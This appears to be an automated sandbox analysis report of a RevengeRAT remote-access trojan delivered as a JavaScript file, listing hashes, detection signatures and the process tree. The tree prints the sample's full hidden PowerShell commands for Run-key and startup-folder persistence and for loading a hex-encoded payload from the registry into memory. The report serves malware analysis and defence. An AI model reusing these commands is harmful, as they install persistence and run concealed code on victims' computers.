Analysis

  • max time kernel
    139s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    01/05/2024, 11:22

General

  • Target

    0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js

  • Size

    286KB

  • MD5

    0baae90140666a166ba4c9afd6aeba63

  • SHA1

    9bf0a78c3315231157c930e2b082bcc08595c540

  • SHA256

    5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

  • SHA512

    62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089

  • SSDEEP

    3072:X8ZCsmsR3IqCIHLl75z4sI70rcAtxu6m89132TEI6jL2TdKL9YEgIximLiJv55hE:sUUSzcWQViC9

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • RevengeRat Executable 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'));wscript 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js' -PropertyType String -Force;"
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'))"
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1128

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js

    Filesize

    286KB

    MD5

    0baae90140666a166ba4c9afd6aeba63

    SHA1

    9bf0a78c3315231157c930e2b082bcc08595c540

    SHA256

    5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

    SHA512

    62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    383e1452e7ecf53a9bd344ec432741eb

    SHA1

    67060d9999bf438bccfd49073fd654f6b3da01f6

    SHA256

    d9142a3da103cdd15247d387b440bfe7bce118372b6f92160dc160656161f96a

    SHA512

    d1bb994aafa228369bead526704c31e3bb2cd7296598aff133c9a305606c89a58cc9fdec043d110c04cfbdbbcc98d197ae43660a2458ca4b4af0b421b92a04da

  • memory/1128-29-0x0000000002BF0000-0x0000000002BF8000-memory.dmp

    Filesize

    32KB

  • memory/2916-6-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

    Filesize

    9.6MB

  • memory/2916-9-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

    Filesize

    9.6MB

  • memory/2916-10-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB

  • memory/2916-11-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB

  • memory/2916-4-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

    Filesize

    2.9MB

  • memory/2916-7-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB

  • memory/2916-5-0x0000000001D10000-0x0000000001D18000-memory.dmp

    Filesize

    32KB

  • memory/2916-30-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

    Filesize

    9.6MB

  • memory/2916-31-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB

  • memory/2916-32-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB

  • memory/2916-33-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB

  • memory/2916-34-0x0000000002E60000-0x0000000002EE0000-memory.dmp

    Filesize

    512KB